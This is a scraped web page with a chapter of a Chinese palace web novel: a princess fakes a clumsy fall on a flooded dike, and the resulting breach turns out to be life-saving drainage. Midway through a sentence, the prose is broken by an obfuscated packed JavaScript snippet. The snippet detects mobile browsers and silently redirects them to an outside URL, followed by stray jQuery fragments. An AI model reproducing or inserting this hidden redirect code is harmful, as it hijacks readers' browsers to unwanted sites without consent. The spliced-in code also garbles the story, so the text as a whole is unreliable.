47. 凌七被坑成功臣
作品:《重生恶毒公主后搞民生赢麻了》 姜悦璃瞧着水流顺着豁口乖乖淌进低洼处,心底暗自松了口气,面上却还要故作慌乱,眼珠一转,索性把场面搅得更乱些。
她故意往旁边一躲,脚下精准踩进一个积满泥水的小坑,“啪叽”一声,泥水溅得老高。
“哎呀!这坑!”
她惊呼一声,身子又往砚辞那边歪去。
砚辞连忙伸手去扶,却被她带着往泥地里一踉跄,蓝色的衣摆瞬间沾了大片泥点。
凌七还僵在塌掉的堤边没回过神,见公主又要摔倒,本能地跨步上前想接应。
结果刚一动,脚下本就松软的泥面再次塌陷,他整个人半跪下去,泥水直接漫到了膝盖。
姜悦璃扶着砚辞的胳膊站稳,一抬头——
砚辞半边衣摆全是泥,伞都歪了,头发丝沾着雨珠和泥点;
凌七跪在泥水里,劲装下半截彻底湿透,裤脚滴着浑水,脸上还溅了两坨泥印;
就连她自己,绣鞋和裙摆也沾了斑驳泥渍。
三只干干净净的人,转眼就变成了三只泥猴。
凌七看着自己满腿泥浆,再看看塌掉的堤坝,又看看一脸无辜的公主,彻底懵圈,冷硬的脸上第一次出现了破碎感。
我是谁,我在哪,我为什么要踩塌堤坝还弄一身泥?
砚辞垂眸看着身上狼狈的泥印,又看了眼公主眼底藏不住的狡黠,无奈地轻轻叹了口气。
姜悦璃眨眨眼,理直气壮地扬声抱怨:“都怪这破地!又是滑又是坑,脏死了!”
这一闹,动静彻底盖不住,附近的兵丁都看了过来,连姜景琰也快步朝这边走来,眉头拧得死紧,远远就喊:
“姜悦璃!你又在闹什么?!”
就在姜景琰快步赶来、面色沉怒之际,人群外忽然匆匆奔来一位身着青衫、须发微白的老河工。
他顾不得满身泥泞,对着豁口处连连细看,又蹲下身摸了摸淌水的导流浅沟,猛地一拍大腿,失声惊呼:
“妙啊!实在是太妙了!”
这一声喊,瞬间将周遭所有人的目光都吸引了过去。
姜景琰脚步一顿,皱眉看向那老河工:“王河工,何事如此惊呼?”
王河工连忙上前,对着姜景琰躬身行礼,语气激动得难以自持:“太子殿下!您快看这处塌口,还有这道顺水浅沟——这哪里是塌了,这是无意中开出了导渗沟啊!”
他指着不断往外渗水的豁口,语速飞快地解释:“堤身内部被洪水泡透,积水排不出去,早晚会把整个堤坝泡塌!如今把背水面的积水引出来,堤身干了,自然就稳了,这是治水最关键的背水导渗之法啊!”
周遭的官吏与兵丁皆是一愣,纷纷围过来看,原本还觉得是公主胡闹闯了祸,此刻听老河工一说,才恍然大悟。
姜景琰猛地转头看向那处豁口,又看了看顺着浅沟缓缓流走的渗水,眸色骤然一凝。
他虽不是专管河务,但理政多年,一听便知其中要害——方才只觉堤坝处处凶险,却偏偏忘了这最关键的一环!
所有人的目光,下意识都落回了浑身是泥、一脸无辜的姜悦璃身上。
姜悦璃心里咯噔一下,表面却更慌了,连忙往砚辞身后缩了缩,瘪着嘴小声嘟囔:“本宫、本宫就是踩滑了……谁知道这土一塌,还能有这用处……”
她说得委屈巴巴,一副“我只是瞎胡闹碰巧了”的娇憨模样,半点看不出是故意为之。
凌七跪在泥里,整个人更懵了。
???
我不是把堤坝踩塌了吗?
怎么还踩对了???
砚辞垂在身侧的手轻轻动了动,强忍着眼底的笑意,不动声色地将公主护得更紧,一副全然是意外的模样。
姜景琰看着眼前这一幕,再看看自家妹妹那副理不直气也壮的小模样,眉头动了动。
巧合?
一次是巧合,两次是巧合,可偏偏巧在治水关键上……
他没戳破,只是沉声道:“既然此处无意导渗成功,即刻按照此例,在背水面多开几道导渗沟,全力加固堤坝!”
“是!”
众人轰然应下,方才还慌乱的场面,瞬间有了主心骨,忙而不乱地行动起来。
姜悦璃躲在砚辞身后,悄悄抬眼,与他飞快对视一眼,眼底闪过一丝得逞的狡黠。
计划通。
姜景琰看着眼前浑身沾泥的妹妹,终是没忍心斥责,只伸手点了点她的额头,无奈又纵容:
“你啊,走到哪里都能闹出点动静,偏生还歪打正着。”
姜悦璃立刻顺势挽住他的衣袖,晃了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282812|197652||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晃,声音软糯又带着几分娇气:
“皇兄,人家真的只是不小心嘛,谁知道这泥巴还能帮上忙。”
她说着还故意抬了抬沾了泥的绣鞋,一脸委屈巴巴,看得姜景琰又气又笑。
一旁的凌七这才慢吞吞从泥水里站起来,宁了拧身上的泥浆水,依旧一脸茫然无措。
他执行过刺杀、潜伏、护卫无数任务,从没有一次像今天这般——把堤坝踩塌,还立了功。
砚辞垂眸低声对凌七道:
“殿下无心之举,救了整条堤。”
凌七沉默半晌,终于憋出一句:
“……属下以后再也不随便扶公主了。”
砚辞唇角微微一勾,没再说话。
雨渐渐小了些,堤坝上的兵丁按照老河工的指点,沿着背水面接连开出数道导渗沟。
堤身里的积水源源不断排出,原本松软摇晃的堤坝,竟一点点稳了下来。
原本惶惶不安的百姓见状,纷纷欢呼起来,对着姜景琰和姜悦璃的方向连连叩拜。
姜悦璃站在伞下,看着渐渐安定下来的场面,心底一片温热。
她没有暴露身份,没有引人注目,只用一场小小的胡闹,便救下了无数百姓与家园。
姜景琰侧头看她,见她小脸上还沾着一点泥印,望着洪水的方向认真又安静,全然没有平日的骄纵胡闹。
他心头微动,忽然觉得,这个从小被宠到大的妹妹,好像藏着许多他不知道的东西。
“此处风大,又都是泥水,孤让人送你先回行辕。”姜景琰放缓了声音。
姜悦璃却摇了摇头,指尖指向远处另一段偏低的堤面,状似随口嘟囔:
“皇兄,那边好像更低哎,水再涨一点,会不会漫过去?”
姜景琰循声望去,眸色一紧。
他竟也疏忽了那段堤围的高度。
他低头看向一脸天真的妹妹,忽然轻笑一声:
“你这丫头,随口一句话,又点到了要害。”
姜悦璃立刻睁大眼睛,装出一脸茫然:
“啊?有吗?本宫就是随便说说的……”
话音未落,砚辞和凌七对视一眼,垂眸掩去眼底的情绪。
他们家公主,哪里是随便说说,分明是步步都算得清清楚楚。

